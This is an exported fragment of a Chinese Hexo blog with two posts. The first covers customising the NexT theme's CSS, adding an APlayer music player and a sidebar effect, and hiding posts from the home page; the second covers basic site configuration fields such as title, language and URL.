<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.content</span> &#123;</span><br><span class="line">            <span class="attribute">border-radius</span>: <span class="number">10px</span>;</span><br><span class="line">            <span class="attribute">margin-top</span>: <span class="number">60px</span>;</span><br><span class="line">            <span class="attribute">background</span>:<span class="built_in">rgba</span>(颜色rgb,透明度) none repeat scroll <span class="meta">!important</span>;</span><br><span class="line">         &#125;</span><br></pre></td></tr></table></figure>
<h3 id="代码块美化"><a href="#代码块美化" class="headerlink" title="代码块美化"></a>代码块美化</h3><p>这块工作让我头痛了很久！！！<br>代码块透明度设置，在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码:</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 单行代码块设置</span><br><span class="line"><span class="selector-tag">code</span> &#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.3</span>);</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">2px</span>;</span><br><span class="line">&#125;</span><br><span class="line">// 多行代码块的自定义样式</span><br><span class="line"><span class="selector-class">.highlight</span>&#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.3</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.highlight</span>, pre &#123;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">5px</span> <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">padding</span>: <span class="number">5px</span>;</span><br><span class="line">  <span class="attribute">border-radius</span>: <span class="number">3px</span>;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.3</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.highlight</span>, <span class="selector-tag">td</span>&#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.1</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.highlight</span>, gutter pre&#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.1</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.highlight</span>, <span class="selector-tag">code</span>, pre &#123;</span><br><span class="line">    <span class="attribute">border</span>: <span class="number">1px</span> solid <span class="number">#d6d6d6</span>;</span><br><span class="line">    <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.3</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-tag">table</span>&gt;<span class="selector-tag">tbody</span>&gt;<span class="selector-tag">tr</span><span class="selector-pseudo">:nth-of-type</span>(odd)&#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.1</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>注释&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_components&#x2F;highlight&#x2F;highlight.styl文件第81、88行：</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line"><span class="regexp">//</span> background-color: <span class="variable">$highlight</span>-gutter.bg-color</span><br></pre></td></tr></table></figure>
<p>这一块修改学习到了一个小技巧，通过chrome的F12→Elements→Styles进行一层层修改测试，快速找到需要修改的地方。Ps：这里要谢谢我的同事-C！<br><img data-src="https://i.loli.net/2018/01/15/5a5ca240a86fa.jpg" alt="chrome F12.jpg"></p>
<h2 id="播放器"><a href="#播放器" class="headerlink" title="播放器"></a>播放器</h2><h3 id="安装APlayer插件"><a href="#安装APlayer插件" class="headerlink" title="安装APlayer插件"></a>安装APlayer插件</h3><p>安装Aplayer播放器，在&#x2F;hexo目录执行<code>npm install aplayer --save</code>。<br>安装完后在node_modules目录下找到APlayer.min.js文件，将其复制到theme&#x2F;next&#x2F;source&#x2F;js&#x2F;src&#x2F;目录下。<br>在你想要加入音乐播放器的地方插入以下代码，这里我把它放到了侧边栏。<br>打开theme&#x2F;next&#x2F;layout&#x2F;_custom&#x2F;文件夹下的sidebar.swig文件，向其中添加以下代码：</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">&lt;div id=<span class="string">&quot;player1&quot;</span> class=<span class="string">&quot;aplayer&quot;</span> data-id=<span class="string">&quot;2058781355&quot;</span> data-server=<span class="string">&quot;netease&quot;</span> data-type=<span class="string">&quot;playlist&quot;</span> data-mode=<span class="string">&quot;circulation&quot;</span>&gt;&lt;/div&gt;</span><br><span class="line">&lt;script src=<span class="string">&quot;/js/src/APlayer.min.js&quot;</span>&gt;&lt;/script&gt;</span><br><span class="line">&lt;script type=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><br><span class="line">var ap = new APlayer(&#123;</span><br><span class="line">    element: document.getElementById(<span class="string">&#x27;player1&#x27;</span>),                       <span class="regexp">//</span> Optional, player element</span><br><span class="line">    narrow: false,                                                     <span class="regexp">//</span> Optional, narrow style</span><br><span class="line">    autoplay: true,                                                    <span class="regexp">//</span> Optional, autoplay song(s), not supported by mobile browsers</span><br><span class="line">    showlrc: <span class="number">3</span>,                                                        <span class="regexp">//</span> Optional, show lrc, can be <span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, see: <span class="comment">###With lrc</span></span><br><span class="line">    mutex: true,                                                       <span class="regexp">//</span> Optional, pause other players when this player playing</span><br><span class="line">    theme: <span class="string">&#x27;#e6d0b2&#x27;</span>,                                                  <span class="regexp">//</span> Optional, theme color, default: <span class="comment">#b7daff</span></span><br><span class="line">    mode: <span class="string">&#x27;circulation&#x27;</span>,                                               <span class="regexp">//</span> Optional, play mode, can be `random` `single` `circulation`(loop) `order`(no loop), default: `circulation`</span><br><span class="line">    preload: <span class="string">&#x27;metadata&#x27;</span>,                                               <span class="regexp">//</span> Optional, the way to load music, can be <span class="string">&#x27;none&#x27;</span> <span class="string">&#x27;metadata&#x27;</span> <span class="string">&#x27;auto&#x27;</span>, default: <span class="string">&#x27;auto&#x27;</span></span><br><span class="line">    listmaxheight: <span class="string">&#x27;513px&#x27;</span>,                                            <span class="regexp">//</span> Optional, max height of play list</span><br><span class="line">    music: [</span><br><span class="line">        &#123;</span><br><span class="line">            title: <span class="string">&#x27;化身孤岛的鲸&#x27;</span>,                                          <span class="regexp">//</span> Required, music title</span><br><span class="line">            author: <span class="string">&#x27;不才&#x27;</span>,                                                <span class="regexp">//</span> Required, music author</span><br><span class="line">            url: <span class="string">&#x27;/music/不才 - 化身孤岛的鲸.mp3&#x27;</span>,                          <span class="regexp">//</span> Required, music url</span><br><span class="line">            pic: <span class="string">&#x27;/music/不才 - 化身孤岛的鲸.jpg&#x27;</span>,                          <span class="regexp">//</span> Optional, music picture</span><br><span class="line">            lrc: <span class="string">&#x27;/music/不才 - 化身孤岛的鲸.lrc&#x27;</span>                           <span class="regexp">//</span> Optional, lrc, see: <span class="comment">###With lrc</span></span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;</span><br><span class="line">            title: <span class="string">&#x27;我的一个道姑朋友&#x27;</span>,                                      <span class="regexp">//</span> Required, music title</span><br><span class="line">            author: <span class="string">&#x27;以冬&#x27;</span>,                                               <span class="regexp">//</span> Required, music author</span><br><span class="line">            url: <span class="string">&#x27;/music/以冬 - 我的一个道姑朋友.mp3&#x27;</span>,                     <span class="regexp">//</span> Required, music url</span><br><span class="line">            pic: <span class="string">&#x27;/music/以冬 - 我的一个道姑朋友.jpg&#x27;</span>,                    <span class="regexp">//</span> Optional, music picture</span><br><span class="line">            lrc: <span class="string">&#x27;/music/以冬 - 我的一个道姑朋友.lrc&#x27;</span>                    <span class="regexp">//</span> Optional, lrc, see: <span class="comment">###With lrc</span></span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;</span><br><span class="line">            title: <span class="string">&#x27;七月上&#x27;</span>,                                          <span class="regexp">//</span> Required, music title</span><br><span class="line">            author: <span class="string">&#x27;Jam&#x27;</span>,                                           <span class="regexp">//</span> Required, music author</span><br><span class="line">            url: <span class="string">&#x27;/music/Jam - 七月上.mp3&#x27;</span>,                          <span class="regexp">//</span> Required, music url</span><br><span class="line">            pic: <span class="string">&#x27;/music/Jam - 七月上.jpg&#x27;</span>,                         <span class="regexp">//</span> Optional, music picture</span><br><span class="line">            lrc: <span class="string">&#x27;/music/Jam - 七月上.lrc&#x27;</span>                         <span class="regexp">//</span> Optional, lrc, see: <span class="comment">###With lrc</span></span><br><span class="line">        &#125;</span><br><span class="line">    ]</span><br><span class="line">&#125;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure>
<h3 id="自定义播放器样式"><a href="#自定义播放器样式" class="headerlink" title="自定义播放器样式"></a>自定义播放器样式</h3><p>包含颜色更改，列表歌曲信息的排版修改。<br>在&#x2F;hexo&#x2F;theme&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码：</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 播放器设置</span><br><span class="line"><span class="selector-class">.aplayer-list</span>&#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100px</span> <span class="meta">!important</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.aplayer-list</span> <span class="selector-tag">ol</span> <span class="selector-tag">li</span><span class="selector-pseudo">:hover</span> &#123;   <span class="comment">/*列表悬停颜色*/</span></span><br><span class="line">                  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">255</span>,<span class="number">255</span>,<span class="number">255</span>,<span class="number">0.3</span>) none repeat scroll <span class="meta">!important</span>;&#125;</span><br><span class="line"><span class="selector-class">.aplayer-list</span> <span class="selector-tag">ol</span> <span class="selector-tag">li</span> &#123;   <span class="comment">/*列表底色*/</span></span><br><span class="line">                        <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">250</span>,<span class="number">252</span>,<span class="number">123</span>,<span class="number">0.3</span>);&#125;</span><br><span class="line"><span class="selector-class">.aplayer-list-light</span> &#123;   <span class="comment">/*列表播放歌曲颜色*/</span></span><br><span class="line">                      <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">97</span>,<span class="number">217</span>,<span class="number">101</span>,<span class="number">0.3</span>) none repeat scroll <span class="meta">!important</span>;&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-id">#player1</span> &#123;    <span class="comment">/*边框样式*/</span></span><br><span class="line">          <span class="attribute">border-radius</span>: <span class="number">6px</span>;</span><br><span class="line">          <span class="selector-tag">div</span>,<span class="selector-tag">ol</span> &#123;<span class="attribute">border-radius</span>: <span class="number">6px</span>;&#125;</span><br><span class="line">        &#125;</span><br><span class="line"><span class="selector-id">#player1</span> *&#123;<span class="attribute">color</span>: <span class="number">#696969</span>;&#125;    <span class="comment">/*字体颜色*/</span></span><br><span class="line"><span class="comment">/*列表歌曲信息的排版*/</span></span><br><span class="line"><span class="selector-class">.aplayer-list-index</span>&#123;<span class="attribute">float</span><span class="selector-pseudo">:left</span>;&#125;</span><br><span class="line"><span class="selector-class">.aplayer-list-title</span>&#123;<span class="attribute">float</span><span class="selector-pseudo">:left</span>;&#125;</span><br><span class="line"><span class="selector-class">.aplayer-list-author</span>&#123;<span class="attribute">float</span><span class="selector-pseudo">:right</span>;&#125;</span><br></pre></td></tr></table></figure>
<h3 id="音乐播放控制边栏"><a href="#音乐播放控制边栏" class="headerlink" title="音乐播放控制边栏"></a>音乐播放控制边栏</h3><p>将<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01hc2hpcm8tU29yYXRhL0FQbGF5ZXItQ29udHJvbGVyL2Jsb2IvbWFzdGVyL2RlbW8vc3JjL0FwbGF5ZXItQ29udHJvbGVyLmpz" title="Aplayer-Controler">APlayer-Controler<i class="fa fa-external-link-alt"></i></span>放入&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;js&#x2F;src&#x2F;目录下。<br>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_custom&#x2F;文件夹下新建一个myapcontroler.swig的文件。向其中添加以下代码：</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/js/src/APlayer-Controler.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;AP-controler&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> myapc=<span class="keyword">new</span> <span class="title class_">APlayer</span>_Controler(&#123;</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">APC_dom</span>:$(<span class="string">&#x27;#AP-controler&#x27;</span>),</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">aplayer</span>:ap, <span class="comment">//此为绑定的aplayer对象</span></span></span><br><span class="line"><span class="language-javascript">		<span class="attr">attach_right</span>:<span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">position</span>:&#123;<span class="attr">top</span>:<span class="string">&#x27;300px&#x27;</span>,<span class="attr">bottom</span>:<span class="string">&#x27;&#x27;</span>&#125;,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">fixed</span>:<span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">btn_width</span>:<span class="number">100</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">btn_height</span>:<span class="number">120</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">img_src</span>:[<span class="string">&#x27;http://oty1v077k.bkt.clouddn.com/bukagirl.jpg&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">				<span class="string">&#x27;http://oty1v077k.bkt.clouddn.com/jumpgirl.jpg&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">				<span class="string">&#x27;http://oty1v077k.bkt.clouddn.com/pentigirl.jpg&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">				<span class="string">&#x27;http://oty1v077k.bkt.clouddn.com/%E8%90%8C1.gif&#x27;</span>],</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">img_style</span>:&#123;<span class="attr">repeat</span>:<span class="string">&#x27;no-repeat&#x27;</span>,<span class="attr">position</span>:<span class="string">&#x27;center&#x27;</span>,<span class="attr">size</span>:<span class="string">&#x27;contain&#x27;</span>&#125;,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">ctrls_color</span>:<span class="string">&#x27;rgba(173,255,47,0.8)&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">ctrls_hover_color</span>:<span class="string">&#x27;rgba(255,140,0,0.7)&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">tips_on</span>:<span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">tips_width</span>:<span class="number">140</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">tips_height</span>:<span class="number">25</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">tips_color</span>:<span class="string">&#x27;rgba(255,255,255,0.6)&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">tips_content</span>:&#123;&#125;,</span></span><br><span class="line"><span class="language-javascript">		<span class="attr">timeout</span>:<span class="number">30</span></span></span><br><span class="line"><span class="language-javascript">	&#125;);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout文件夹下打开_layout.swig文件，在</body>前添加以下代码：</p>
<figure class="highlight django"><table><tr><td class="code"><pre><span class="line"><span class="template-tag">&#123;% <span class="name"><span class="name">include</span></span> &#x27;_custom/myapcontroler.swig&#x27; %&#125;</span></span><br></pre></td></tr></table></figure>
<h2 id="侧边栏美化"><a href="#侧边栏美化" class="headerlink" title="侧边栏美化"></a>侧边栏美化</h2><p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_macro文件夹下打开sidebar.swig文件，找到以下代码行的位置：</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line">&lt;nav <span class="attribute">class</span>=<span class="string">&quot;site-state motion-element&quot;</span>&gt;</span><br></pre></td></tr></table></figure>
<p>在上面添加以下代码：</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!--my custom code begin--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;https://cdnjs.cloudflare.com/ajax/libs/velocity/1.5.0/velocity.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  $(<span class="string">&quot;#sidebar&quot;</span>).<span class="title function_">hover</span>(<span class="keyword">function</span>(<span class="params"></span>)&#123;</span></span><br><span class="line"><span class="language-javascript">    $(<span class="string">&quot;#mydivshow&quot;</span>).<span class="title function_">velocity</span>(<span class="string">&#x27;stop&#x27;</span>).<span class="title function_">velocity</span>(&#123;<span class="attr">opacity</span>: <span class="number">1</span>&#125;);</span></span><br><span class="line"><span class="language-javascript">  &#125;,<span class="keyword">function</span>(<span class="params"></span>)&#123;</span></span><br><span class="line"><span class="language-javascript">    $(<span class="string">&quot;#mydivshow&quot;</span>).<span class="title function_">velocity</span>(<span class="string">&#x27;stop&#x27;</span>).<span class="title function_">velocity</span>(&#123;<span class="attr">opacity</span>: <span class="number">0</span>&#125;);</span></span><br><span class="line"><span class="language-javascript">  &#125;);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;mydivshow&quot;</span> <span class="attr">class</span>=<span class="string">&quot;mydivshow&quot;</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!--my custom code end--&gt;</span></span><br></pre></td></tr></table></figure>
<p>然后找到代码行：</p>
<figure class="highlight twig"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">section</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"></span><span class="template-tag">&#123;%</span> <span class="name">if</span> display_toc and toc(page.content).length &gt; <span class="number">1</span> <span class="template-tag">%&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!--noindex--&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;post-toc-wrap motion-element sidebar-panel sidebar-panel-active&quot;</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<p>在此的上方添加一个，如下所示：</p>
<figure class="highlight twig"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="comment">&lt;!--my custom code begin--&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!--my custom code end--&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">section</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"></span><span class="template-tag">&#123;%</span> <span class="name">if</span> display_toc and toc(page.content).length &gt; <span class="number">1</span> <span class="template-tag">%&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!--noindex--&gt;</span></span></span><br><span class="line"><span class="language-xml">  <span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;post-toc-wrap motion-element sidebar-panel sidebar-panel-active&quot;</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;post-toc&quot;</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<h2 id="首页隐藏文章"><a href="#首页隐藏文章" class="headerlink" title="首页隐藏文章"></a>首页隐藏文章</h2><p>修改next主题文件夹下的layout中的index.swig文件，将</p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line">post_template.render(<span class="built_in">post</span>, <span class="literal">true</span>)</span><br></pre></td></tr></table></figure>
<p>修改成:</p>
<figure class="highlight handlebars"><table><tr><td class="code"><pre><span class="line"><span class="language-xml">&#123;% if post.visible !==&#x27;hide&#x27; %&#125;</span></span><br><span class="line"><span class="language-xml">    </span><span class="template-variable">&#123;&#123; <span class="name">post_template.render</span>(<span class="name">post</span>, <span class="literal">true</span>) &#125;&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">&#123;% endif %&#125;</span></span><br></pre></td></tr></table></figure>
<p>在Front-matter添加visible字段即可，当visible字段为hide时会在首页隐藏文章。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">visible:</span> hide</span><br></pre></td></tr></table></figure>
<h2 id="版权透明度"><a href="#版权透明度" class="headerlink" title="版权透明度"></a>版权透明度</h2><p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码:</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 版权样式设置</span><br><span class="line"><span class="selector-class">.post-copyright</span>&#123;</span><br><span class="line">  <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.1</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="标签透明度"><a href="#标签透明度" class="headerlink" title="标签透明度"></a>标签透明度</h2><p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码:</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 标签样式设置</span></span><br><span class="line"><span class="selector-class">.posts-expand</span> .post-tags&#123;</span><br><span class="line">  <span class="selector-tag">a</span> &#123;</span><br><span class="line">    <span class="attribute">background</span>:<span class="built_in">rgba</span>(<span class="number">241</span>,<span class="number">241</span>,<span class="number">241</span>,<span class="number">0.1</span>)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>自己搞不定，资料查不出来的情况下，问问其他人有时候会有意想不到的效果；</li>
<li>CSS可以通过 <code>!important</code>来设置优先级；</li>
<li>nexT的样式建议不去修改源码，通过修改&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom&#x2F;custom.styl文件即可；</li>
<li>根据最近的一顿操作，发现了hexo目录结构。特此记录，Ps：不建议修改源码样式，虽然我自己改了很多~~手动捂脸：</li>
</ol>
<table>
<thead>
<tr>
<th>路径</th>
<th>文件名</th>
<th>作用</th>
</tr>
</thead>
<tbody><tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom</td>
<td>custom.styl</td>
<td>可用于自定义配置样式：.content、.sidebar、.header等</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_common&#x2F;components&#x2F;highlight</td>
<td>highlight.styl</td>
<td>代码样式设置</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout</td>
<td>_layout.swig</td>
<td>主布局文件</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout</td>
<td>index.swig</td>
<td>首页布局文件</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout</td>
<td>···</td>
<td>XX布局文件</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;partials</td>
<td>footer.swig</td>
<td>页脚布局（不确定）</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_custom</td>
<td>Null</td>
<td>存放自定义布局文件</td>
</tr>
<tr>
<td>&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_macro</td>
<td>All</td>
<td>存放宏，用于博客生成</td>
</tr>
</tbody></table>
<h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>这次美化没有完全彻底，可以看到还有一部分样式怪怪的。以后有时间，慢慢优化！！CSS太难了！！！太晚了，洗洗睡咯。</p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>博客搭建</category>
      </categories>
      <tags>
        <tag>博客</tag>
      </tags>
  </entry>
  <entry>
    <title>博客配置</title>
    <url>/archives/459ba203.html</url>
    <content><![CDATA[<p>　通过GitHub Page + Hexo(Next主题)搭建好博客之后，需要对**<font color=blue>站点配置文件</font><strong>、</strong><font color=red>主题配置文件</font>**进行自定义配置。本篇文章对一些常用或需要自定义的配置进行描述。</p>
<span id="more"></span>
<h2 id="站点配置"><a href="#站点配置" class="headerlink" title="站点配置"></a>站点配置</h2><p>　**<font color=blue>站点配置文件</font>**为全局配置文件，影响整个站点。文件路径:\根目录\_config.yml。</p>
<h3 id="基础配置"><a href="#基础配置" class="headerlink" title="基础配置"></a>基础配置</h3><p>　站点基础配置包括标题、副标题、描述、作者、站点语言、URL设置等。通过对基础配置进行修改，就可以完成大部分的”轻度折腾”。</p>
<h4 id="标题"><a href="#标题" class="headerlink" title="标题"></a>标题</h4><p>　标题会影响整站的标题，并且会在显示页面上。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">title:</span> 站点标题</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598cffd0b6300.png" alt="title.png"></p>
<h4 id="副标题"><a href="#副标题" class="headerlink" title="副标题"></a>副标题</h4><p>　副标题位于在主标题下，在Next主题中会被隐藏，需要通过修改\根目录\themes\next\source\css\_schemes\Mist\_logo.styl的.site-subtitile字段的display值或者在.site-subtitle前面加#进行注释。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">subtitle:</span> 站点副标题</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d002d4f3cc.png" alt="subtitle.png"></p>
<h4 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h4><p>　描述位于站点概览中，用最”简单”的语言描述一下最棒的自己。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">description:</span> 最简单的语言 </span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d012b11997.png" alt="description.png"></p>
<h4 id="作者"><a href="#作者" class="headerlink" title="作者"></a>作者</h4><p>　作者位于站点概览、版本声明等位置，留下自己的大名，让自己”声名远扬”吧！</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">author:</span> 最棒的自己</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d023a48148.png" alt="author.png"></p>
<h4 id="站点语言"><a href="#站点语言" class="headerlink" title="站点语言"></a>站点语言</h4><p>　站点语言会影响整个站点的显示语言。支持简中、繁中、英文等。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">language:</span> <span class="built_in">zh</span>-Hans</span><br></pre></td></tr></table></figure>
<pre><code>|语言　　　|对应值　　　|
|English　|en　　　　　|
|简体中文　|zh-Hans　　 | 
|法语　　　|fr-FR　　　 ｜
|繁体中文　|zh-hk/zh-tw｜
|俄语　　　|ru　　　　　｜
|德语　　　|de　　　　　｜
|葡萄牙语　|pt　　　　　｜
|日语　　　|ja　　　　　｜
</code></pre>
<h4 id="URL设置"><a href="#URL设置" class="headerlink" title="URL设置"></a>URL设置</h4><p>　URL设置包括url、enforce_ssl、root、permalink、permalink_default等字段。其中url字段设置为博客域名。根据博客所处目录设置root，如果为子目录，root需要进行对应修改。其余字段可保持不变。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">url:</span> 你的域名</span><br><span class="line"><span class="symbol">root:</span> 站点所处目录</span><br></pre></td></tr></table></figure>
<h3 id="其他配置"><a href="#其他配置" class="headerlink" title="其他配置"></a>其他配置</h3><h4 id="分页设置"><a href="#分页设置" class="headerlink" title="分页设置"></a>分页设置</h4><p>　分页设置主要修改per_page字段，可以对主页、档案、标签等进行每页显示文章数设置。</p>
